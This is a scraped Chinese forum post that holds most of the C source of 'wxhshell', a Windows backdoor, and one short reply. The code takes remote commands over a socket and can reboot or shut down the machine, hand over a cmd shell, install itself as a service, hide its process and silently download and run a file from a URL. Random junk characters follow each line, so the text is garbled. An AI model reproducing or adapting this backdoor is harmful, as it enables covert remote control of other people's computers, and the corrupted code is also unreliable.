  else LS917ci-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1 =M ?GDc  
  } r_-_a(1R:  
  else { cj1cZ-  
,d{"m)r<  
    switch(cmd[0]) { "*Tb" 'O  
  `nZ)>  
  // 帮助 D>LZP!  
  case '?': { ])nPPf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 28UU60  
    break; l\@)y4 +  
  } iT%} $Lu~  
  // 安装 (EI;"N (x  
  case 'i': { orjj' +;X  
    if(Install()) |\7 ET[X q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -}KC=,]vh  
    else Z\k&gio5C^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N19({0+i2  
    break; OUhqM VX9C  
    } :(M(>4t  
  // 卸载 j 4^97  
  case 'r': { M)2VcDy  
    if(Uninstall()) ,f[>L|?e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  O4og?h>  
    else T Kg aV;92  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6&5p3G{%0  
    break; ]{;=<t6  
    } I'%vN^e^  
  // 显示 wxhshell 所在路径 zZE 2%fqM  
  case 'p': { jl YnV/ ]  
    char svExeFile[MAX_PATH]; </(bwc~2  
    strcpy(svExeFile,"\n\r"); Lwm2:_\_b  
      strcat(svExeFile,ExeFile); o*& D;  
        send(wsh,svExeFile,strlen(svExeFile),0); AX! YB'm-  
    break; P]hS0,sE<(  
    } 8(J&_7u  
  // 重启 r*'a-2A u  
  case 'b': { U`Bw2Vdk]S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rw/WD(  
    if(Boot(REBOOT)) {W*_^>;K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +MU|XT_5|6  
    else { @5jJoy(mX@  
    closesocket(wsh); c~bi ~ f  
    ExitThread(0); |d =1|C%,  
    } /<,LM8n  
    break; IMjz#|c  
    } 7 $AEh+f  
  // 关机 |L|)r)t  
  case 'd': { U,Py+c6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c 4Q{  
    if(Boot(SHUTDOWN)) 3>LyEXOW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -XNjyXm2  
    else { ]*b}^PQM^  
    closesocket(wsh); F|.,lb |L  
    ExitThread(0); IoUQ~JviA  
    } uLFnuK  
    break; =fk+"!-i%"  
    } X]up5tk~  
  // 获取shell &%3$zgvR  
  case 's': { 2ZHeOKJ-  
    CmdShell(wsh); t [gz#'  
    closesocket(wsh); ` @.  
    ExitThread(0); JBX#U@k>I  
    break; x0aPY;,N0  
  } ?M2#fD]e  
  // 退出 * ]uo/g  
  case 'x': { llG^+*Y8t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %N}O Mc.W  
    CloseIt(wsh); =apcMW(zn  
    break; [Y@?l]&  
    } 1O" Mo  
  // 离开 b'i-/l$  
  case 'q': { #=6A[<qX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j TVh`d< N  
    closesocket(wsh); r8PXdNg  
    WSACleanup(); }9Yd[`  
    exit(1); _3_d;j#G U  
    break; gcLwQ-  
        } B I9~% dm  
  } `dB!Ia|  
  } w[g(8 #*  
InI^,&<  
  // 提示信息 HEZgHL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (#zSVtZ  
} H8^U!"~E  
  } v9Kx`{1L  
Z0yy<9q]2  
  return; P bR6>'  
} B o@B9/ABv  
:\ %.x3T'  
// shell模块句柄 ?QzA;8H  
int CmdShell(SOCKET sock) {+Rf?'JZH  
{ M>Y ge~3  
STARTUPINFO si; <28L\pdG`  
ZeroMemory(&si,sizeof(si)); "wk~[>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1UR ;}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ave{ `YD  
PROCESS_INFORMATION ProcessInfo; R-v99e iN  
char cmdline[]="cmd"; Vf Jpiv1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $s]c'D)  
  return 0; 5o2W[<%v  
} m%8idjnG  
E_VLI'Hn?  
// 自身启动模式 vfW  
int StartFromService(void) 6mH0|:CsY  
{ =M]f7lJ  
typedef struct .(!> *ka|  
{ JaC =\\B  
  DWORD ExitStatus; PA5_  
  DWORD PebBaseAddress; n<C4-'^U[a  
  DWORD AffinityMask; z"`q-R }m  
  DWORD BasePriority; wKe$(>d"L  
  ULONG UniqueProcessId; cE7xNZ;Bh  
  ULONG InheritedFromUniqueProcessId; (h8M  
}   PROCESS_BASIC_INFORMATION; >BC?% |l  
I`%\ "bF@  
PROCNTQSIP NtQueryInformationProcess; ;F)g r  
5<-_"/_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vB0O3]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4z~ fn9g  
zh2gU@"  
  HANDLE             hProcess; x Bn+-V  
  PROCESS_BASIC_INFORMATION pbi; AF5$U8jf  
oObm5e*Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p1B~:9y9X  
  if(NULL == hInst ) return 0; xFZA1 8  
i#I+   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i?R+Ul`Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V=";vRS8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &h=O;?dO  
4@6!E^  
  if (!NtQueryInformationProcess) return 0; voRr9E*n  
kz]vXJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F.P4c:GD  
  if(!hProcess) return 0; ]w!gv /;  
74*1|S <  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J 00<NRxj"  
( yk^%  
  CloseHandle(hProcess); + QcgLq  
R["2kEF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (17%/80-J  
if(hProcess==NULL) return 0; 2mS3gk  
k%w5V>]1  
HMODULE hMod; et|P5%G  
char procName[255]; 8D[8(5  
unsigned long cbNeeded; ]^,<Ez  
X#9}|rT56  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jg8j>" Vj>  
 V"n0"\k,  
  CloseHandle(hProcess); eto3dJ!R  
y(&JE^GfX  
if(strstr(procName,"services")) return 1; // 以服务启动 p"4i(CWGS  
x2B~1edf  
  return 0; // 注册表启动 mG[S"?C  
} ;Ab`b1B  
jbQ2G|:Q  
// 主模块 \-k X-Tq  
int StartWxhshell(LPSTR lpCmdLine) =PXQ X(_  
{ )/FB73!  
  SOCKET wsl; D8P<mIu}Y  
BOOL val=TRUE; U~z`u&/  
  int port=0; @ mm*S:Gt#  
  struct sockaddr_in door; 82F q}N <  
G5W6P7-<X  
  if(wscfg.ws_autoins) Install(); ]@OGp:Hz  
ZbTU1Y/'   
port=atoi(lpCmdLine); ;+]9KIa_Pq  
|fdr\t#'~  
if(port<=0) port=wscfg.ws_port; yoTbIQ  
`6V-a_8;[  
  WSADATA data; )e.Y"5My  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )&di c6r  
Xv 3u}nPMq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <,qJ% kc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ws?BAfP  
  door.sin_family = AF_INET; ia15r\4j)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A#~"Gp  
  door.sin_port = htons(port); .J' 8d"+  
U JG)-x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _[8xq:G  
closesocket(wsl); <>GWSW  
return 1; sZFIQ)b9  
} .#R\t 7m%  
n k]tq3.[  
  if(listen(wsl,2) == INVALID_SOCKET) { vTN/ho,H  
closesocket(wsl); A0.) =q  
return 1; 2UY0:y  e  
} V^aX^;  
  Wxhshell(wsl); ! *\)7D  
  WSACleanup(); 0gPz|v>z  
($*bwqp]}  
return 0; M.1bRB  
3 #R~>c2  
} TkhbnO g6  
>T{9-_#P  
// 以NT服务方式启动 Tz.!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $Tu%dE(OF  
{ wVk2Fr(  
DWORD   status = 0; ]k Ls2? \  
  DWORD   specificError = 0xfffffff; 0-"ps]X  
G1M}g8 ]h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~k+"!'1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P0U=lj/ b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x8%Q TTY  
  serviceStatus.dwWin32ExitCode     = 0; }xTTz,Oj$  
  serviceStatus.dwServiceSpecificExitCode = 0; sKIWr{D  
  serviceStatus.dwCheckPoint       = 0; b?7?iV4  
  serviceStatus.dwWaitHint       = 0; &n|! '/H  
P ETrMu<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a$Eqe_  
  if (hServiceStatusHandle==0) return; F7J-@T<  
&,+G}  
status = GetLastError(); `*e',j2}UU  
  if (status!=NO_ERROR) 5sC{5LJzC  
{ q /EK ]B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k:PO"<-U  
    serviceStatus.dwCheckPoint       = 0; `),7*gn*)  
    serviceStatus.dwWaitHint       = 0; N;tUrdgQ  
    serviceStatus.dwWin32ExitCode     = status; h4H~;Wl0  
    serviceStatus.dwServiceSpecificExitCode = specificError; d{&+xl^ll  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PCnE-$QH  
    return; K^tM$l\  
  }  Py\xN  
$K^"a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z@&_ T3M  
  serviceStatus.dwCheckPoint       = 0; rz+G]J  
  serviceStatus.dwWaitHint       = 0; N kp>yVj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @& #df  
} {U(-cdU{e`  
r=4'6!  
// 处理NT服务事件,比如:启动、停止 t/WauY2JUC  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  Y2vzK;  
{ !>b>"\b  
switch(fdwControl) i`7{q~d=  
{ iaXNf ])?  
case SERVICE_CONTROL_STOP: A/RHb^N  
  serviceStatus.dwWin32ExitCode = 0; T+NEw8C?/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wxpD{P  
  serviceStatus.dwCheckPoint   = 0; 6~?7CK  
  serviceStatus.dwWaitHint     = 0; /S1EQ%_  
  { r<V]MwO=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); > C{^{?~u  
  } ;%2/  
  return; m8$6FN  
case SERVICE_CONTROL_PAUSE: 7CYu"+Ea  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &0SGAJlec  
  break; Xtbuy/8"1  
case SERVICE_CONTROL_CONTINUE: qu BTRW9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Lx,"jA/  
  break; l5Z=aW Q  
case SERVICE_CONTROL_INTERROGATE: 2NAGXWE  
  break; zkn K2e,$  
}; AuUT 'E@E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w_pEup\`  
} 4>>{}c!nf  
'|&}rLr:+  
// 标准应用程序主函数 {"!V&}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +l@H[r;$  
{ B)/X:[  
kW\=Z 1\#  
// 获取操作系统版本 ?XL[[vyr  
OsIsNt=GetOsVer(); Ya*lq! u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lxj_ (Uo  
nH}api^0A  
  // 从命令行安装 b>;>*'e  
  if(strpbrk(lpCmdLine,"iI")) Install(); -"u}lCz>  
fL ng[&  
  // 下载执行文件 K`* 8 *k{  
if(wscfg.ws_downexe) { x,IU]YW@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #rMMOu9r2  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9_ JK.  
} 'VFxg,  
]Rohf WHX  
if(!OsIsNt) { o,9E~Q'`{  
// 如果时win9x,隐藏进程并且设置为注册表启动 u /JEQz1  
HideProc(); ESiNW&u2  
StartWxhshell(lpCmdLine); |;'V":yDs  
} YNc%[S[u^1  
else ?|TVz!3  
  if(StartFromService()) En8-Hc#NC  
  // 以服务方式启动 qqT6C%Q`kG  
  StartServiceCtrlDispatcher(DispatchTable); hD{+V!{  
else B<DvH"+$  
  // 普通方式启动 l@Ma{*s6=5  
  StartWxhshell(lpCmdLine); I !9u](\0  
]0by6hQ  
return 0; cf1Ve\(YGI  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八